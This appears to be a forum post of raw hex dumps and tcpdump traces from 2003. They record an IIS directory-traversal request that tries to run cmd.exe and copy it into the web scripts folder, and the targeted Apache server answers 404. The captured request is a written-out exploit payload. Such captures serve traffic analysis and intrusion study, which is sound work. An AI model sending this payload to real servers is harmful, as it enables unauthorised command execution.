Code: |
00000000 47 45 54 20 2f 73 63 72 69 70 74 73 2f 2e 2e 25 GET /scr ipts/..% 00000010 32 35 35 63 2e 2e 25 32 35 35 63 77 69 6e 6e 74 255c..%2 55cwinnt 00000020 2f 73 79 73 74 65 6d 33 32 2f 63 6d 64 2e 65 78 /system3 2/cmd.ex 00000030 65 3f 2f 63 2b 63 6f 70 79 2b 63 3a 5c 77 69 6e e?/c+cop y+c:\win 00000040 6e 74 5c 73 79 73 74 65 6d 33 32 5c 63 6d 64 2e nt\syste m32\cmd. 00000050 65 78 65 2b 63 3a 5c 69 6e 65 74 70 75 62 5c 73 exe+c:\i netpub\s 00000060 63 72 69 70 74 73 5c 73 63 72 69 70 74 2e 65 78 cripts\s cript.ex 00000070 65 20 48 54 54 50 2f 31 2e 31 0d 0a e HTTP/1 .1.. 0000007C 48 6f 73 74 3a 20 77 77 77 2e 67 6f 6f 67 6c 65 Host: ww w.google 0000008C 2e 63 6f 6d 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e .com..Co nnection 0000009C 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 0d 0a : keep-a live.... 00000000 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 HTTP/1.1 404 Not 00000010 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 Found.. Date: Su 00000020 6e 2c 20 31 33 20 4a 75 6c 20 32 30 30 33 20 30 n, 13 Ju l 2003 0 00000030 35 3a 30 37 3a 30 30 20 47 4d 54 0d 0a 53 65 72 5:07:00 GMT..Ser 00000040 76 65 72 3a 20 41 70 61 63 68 65 2f 31 2e 33 2e ver: Apa che/1.3. 00000050 32 37 20 28 55 6e 69 78 29 0d 0a 4b 65 65 70 2d 27 (Unix )..Keep- 00000060 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 31 Alive: t imeout=1 00000070 35 2c 20 6d 61 78 3d 31 30 30 0d 0a 43 6f 6e 6e 5, max=1 00..Conn 00000080 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 ection: Keep-Ali 00000090 76 65 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 ve..Tran sfer-Enc 000000A0 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a oding: c hunked.. 000000B0 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 Content- Type: te 000000C0 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 xt/html; charset 000000D0 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 31 =iso-885 9-1....1 000000E0 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 37..<!DO CTYPE HT 000000F0 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 ML PUBLI C "-//IE 00000100 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 TF//DTD HTML 2.0 00000110 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 //EN">.< HTML><HE 00000120 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 34 20 4e AD>.<TIT LE>404 N 00000130 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e ot Found </TITLE> 00000140 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c .</HEAD> <BODY>.< 00000150 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 H1>Not F ound</H1 00000160 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 >.The re quested 00000170 55 52 4c 20 2f 73 63 72 69 70 74 73 2f 2e 2e 25 URL /scr ipts/..% 00000180 35 63 2e 2e 25 35 63 77 69 6e 6e 74 2f 73 79 73 5c..%5cw innt/sys 00000190 74 65 6d 33 32 2f 63 6d 64 2e 65 78 65 20 77 61 tem32/cm d.exe wa 000001A0 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 s not fo und on t 000001B0 68 69 73 20 73 65 72 76 65 72 2e 3c 50 3e 0a 3c his serv er.<P>.< 000001C0 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 41 70 61 HR>.<ADD RESS>Apa 000001D0 63 68 65 2f 31 2e 33 2e 32 37 20 53 65 72 76 65 che/1.3. 27 Serve 000001E0 72 20 61 74 20 64 69 6d 65 6e 73 69 6f 6e 2e 6c r at dim ension.l 000001F0 61 6e 6e 65 74 2e 63 6f 6d 20 50 6f 72 74 20 38 annet.co m Port 8 00000200 30 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 0</ADDRE SS>.</BO 00000210 44 59 3e 3c 2f 48 54 4d 4c 3e 0a 0d 0a 30 0d 0a DY></HTM L>...0.. 00000220 0d 0a .. |
Code: |
01:07:00.704346 [b]12.208.135.32.267[/b]1 > [b]192.168.3.10.80[/b]: [b]S[/b] [tcp sum ok] 772814901:772814901(0) win 64240 <mss 1460,nop,nop,sackOK> (DF) (ttl 116, id 9933, len 48)
0x0000 4500 0030 26cd 4000 7406 8858 0cd0 8720 E..0&.@.t..X.... 0x0010 c0a8 030a 0a6f 0050 2e10 3835 0000 0000 .....o.P..85.... 0x0020 7002 faf0 bf87 0000 0204 05b4 0101 0402 p............... |
Code: |
01:07:00.704415 192.168.3.10.80 > 12.208.135.32.2671: S [tcp sum ok] [b]1600143914:1600143914[/b](0) ack [b]772814902[/b] win 65535 <mss 1460> (DF) (ttl 64, id 49496, len 44)
0x0000 4500 002c c158 4000 4006 21d1 c0a8 030a E..,.X@.@.!..... 0x0010 0cd0 8720 0050 0a6f 5f60 422a 2e10 3836 .....P.o_`B*..86 0x0020 6012 ffff 2de4 0000 0204 05b4 `...-....... |
Code: |
01:07:00.898625 12.208.135.32.2671 > 192.168.3.10.80: . [tcp sum ok] [b]ack[/b] 1 win 64240 (DF) (ttl 116, id 9959, len 40)
0x0000 4500 0028 26e7 4000 7406 8846 0cd0 8720 E..(&.@.t..F.... 0x0010 c0a8 030a 0a6f 0050 2e10 3836 5f60 422b .....o.P..86_`B+ 0x0020 5010 faf0 4ab0 0000 7e7e 7e7e 7e7e P...J...~~~~~~ |
Code: |
01:07:00.903764 12.208.135.32.2671 > 192.168.3.10.80: P [tcp sum ok] 1:125(124) ack 1 win 64240 (DF) (ttl 116, id 9960, len 164)
0x0000 4500 00a4 26e8 4000 7406 87c9 0cd0 8720 E...&.@.t....... 0x0010 c0a8 030a 0a6f 0050 2e10 3836 5f60 422b .....o.P..86_`B+ 0x0020 5018 faf0 ea38 0000 4745 5420 2f73 6372 P....8..GET./scr 0x0030 6970 7473 2f2e 2e25 3235 3563 2e2e 2532 ipts/..%255c..%2 0x0040 3535 6377 696e 6e74 2f73 7973 7465 6d33 55cwinnt/system3 0x0050 322f 636d 642e 6578 653f 2f63 2b63 6f70 2/cmd.exe?/c+cop 0x0060 792b 633a 5c77 696e 6e74 5c73 7973 7465 y+c:\winnt\syste 0x0070 6d33 325c 636d 642e 6578 652b 633a 5c69 m32\cmd.exe+c:\i 0x0080 6e65 7470 7562 5c73 6372 6970 7473 5c73 netpub\scripts\s 0x0090 6372 6970 742e 6578 6520 4854 5450 2f31 cript.exe.HTTP/1 0x00a0 2e31 0d0a .1.. |
Code: |
01:07:01.000437 192.168.3.10.80 > 12.208.135.32.2671: . [tcp sum ok] ack 125 win 65535 (DF) (ttl 64, id 49497, len 40)
0x0000 4500 0028 c159 4000 4006 21d4 c0a8 030a E..(.Y@.@.!..... 0x0010 0cd0 8720 0050 0a6f 5f60 422b 2e10 38b2 .....P.o_`B+..8. 0x0020 5010 ffff 4525 0000 P...E%.. |
Code: |
01:07:01.068365 12.208.135.32.2671 > 192.168.3.10.80: P [tcp sum ok] 125:173(48) ack 1 win 64240 (DF) (ttl 116, id 9970, len 88)
0x0000 4500 0058 26f2 4000 7406 880b 0cd0 8720 E..X&.@.t....... 0x0010 c0a8 030a 0a6f 0050 2e10 38b2 5f60 422b .....o.P..8._`B+ 0x0020 5018 faf0 46e8 0000 486f 7374 3a20 7777 P...F...Host:.ww 0x0030 772e 676f 6f67 6c65 2e63 6f6d 0d0a 436f w.google.com..Co 0x0040 6e6e 6563 7469 6f6e 3a20 6b65 6570 2d61 nnection:.keep-a 0x0050 6c69 7665 0d0a 0d0a live.... |
Code: |
01:07:01.069334 192.168.3.10.80 > 12.208.135.32.2671: P [tcp sum ok] 1:547(546) ack 173 win 65535 (DF) (ttl 64, id 49498, len 586)
0x0000 4500 024a c15a 4000 4006 1fb1 c0a8 030a E..J.Z@.@....... 0x0010 0cd0 8720 0050 0a6f 5f60 422b 2e10 38e2 .....P.o_`B+..8. 0x0020 5018 ffff 315f 0000 4854 5450 2f31 2e31 P...1_..HTTP/1.1 0x0030 2034 3034 204e 6f74 2046 6f75 6e64 0d0a .404.Not.Found.. 0x0040 4461 7465 3a20 5375 6e2c 2031 3320 4a75 Date:.Sun,.13.Ju 0x0050 6c20 3230 3033 2030 353a 3037 3a30 3020 l.2003.05:07:00. 0x0060 474d 540d 0a53 6572 7665 723a 2041 7061 GMT..Server:.Apa 0x0070 6368 652f 312e 332e 3237 2028 556e 6978 che/1.3.27.(Unix 0x0080 290d 0a4b 6565 702d 416c 6976 653a 2074 )..Keep-Alive:.t 0x0090 696d 656f 7574 3d31 352c 206d 6178 3d31 imeout=15,.max=1 0x00a0 3030 0d0a 436f 6e6e 6563 7469 6f6e 3a20 00..Connection:. 0x00b0 4b65 6570 2d41 6c69 7665 0d0a 5472 616e Keep-Alive..Tran 0x00c0 7366 6572 2d45 6e63 6f64 696e 673a 2063 sfer-Encoding:.c 0x00d0 6875 6e6b 6564 0d0a 436f 6e74 656e 742d hunked..Content- 0x00e0 5479 7065 3a20 7465 7874 2f68 746d 6c3b Type:.text/html; 0x00f0 2063 6861 7273 6574 3d69 736f 2d38 3835 .charset=iso-885 0x0100 392d 310d 0a0d 0a31 3337 0d0a 3c21 444f 9-1....137..<!DO 0x0110 4354 5950 4520 4854 4d4c 2050 5542 4c49 CTYPE.HTML.PUBLI 0x0120 4320 222d 2f2f 4945 5446 2f2f 4454 4420 C."-//IETF//DTD. 0x0130 4854 4d4c 2032 2e30 2f2f 454e 223e 0a3c HTML.2.0//EN">.< 0x0140 4854 4d4c 3e3c 4845 4144 3e0a 3c54 4954 HTML><HEAD>.<TIT 0x0150 4c45 3e34 3034 204e 6f74 2046 6f75 6e64 LE>404.Not.Found 0x0160 3c2f 5449 544c 453e 0a3c 2f48 4541 443e </TITLE>.</HEAD> 0x0170 3c42 4f44 593e 0a3c 4831 3e4e 6f74 2046 <BODY>.<H1>Not.F 0x0180 6f75 6e64 3c2f 4831 3e0a 5468 6520 7265 ound</H1>[b].The.re 0x0190 7175 6573 7465 6420 5552 4c20 2f73 6372 quested.URL./scr 0x01a0 6970 7473 2f2e 2e25 3563 2e2e 2535 6377 ipts/..%5c..%5cw 0x01b0 696e 6e74 2f73 7973 7465 6d33 322f 636d innt/system32/cm 0x01c0 642e 6578 6520 7761 7320 6e6f 7420 666f d.exe.was.not.fo 0x01d0 756e 6420 6f6e 2074 6869 7320 7365 7276 und.on.this.serv[/b] 0x01e0 6572 2e3c 503e 0a3c 4852 3e0a 3c41 4444 er.<P>.<HR>.<ADD 0x01f0 5245 5353 3e41 7061 6368 652f 312e 332e RESS>Apache/1.3. 0x0200 3237 2053 6572 7665 7220 6174 2064 696d 27.Server.at.dim 0x0210 656e 7369 6f6e 2e6c 616e 6e65 742e 636f ension.lannet.co 0x0220 6d20 506f 7274 2038 303c 2f41 4444 5245 m.Port.80</ADDRE 0x0230 5353 3e0a 3c2f 424f 4459 3e3c 2f48 544d SS>.</BODY></HTM 0x0240 4c3e 0a0d 0a30 0d0a 0d0a L>...0.... |
output generated using printer-friendly topic mod, All times are GMT + 2 Hours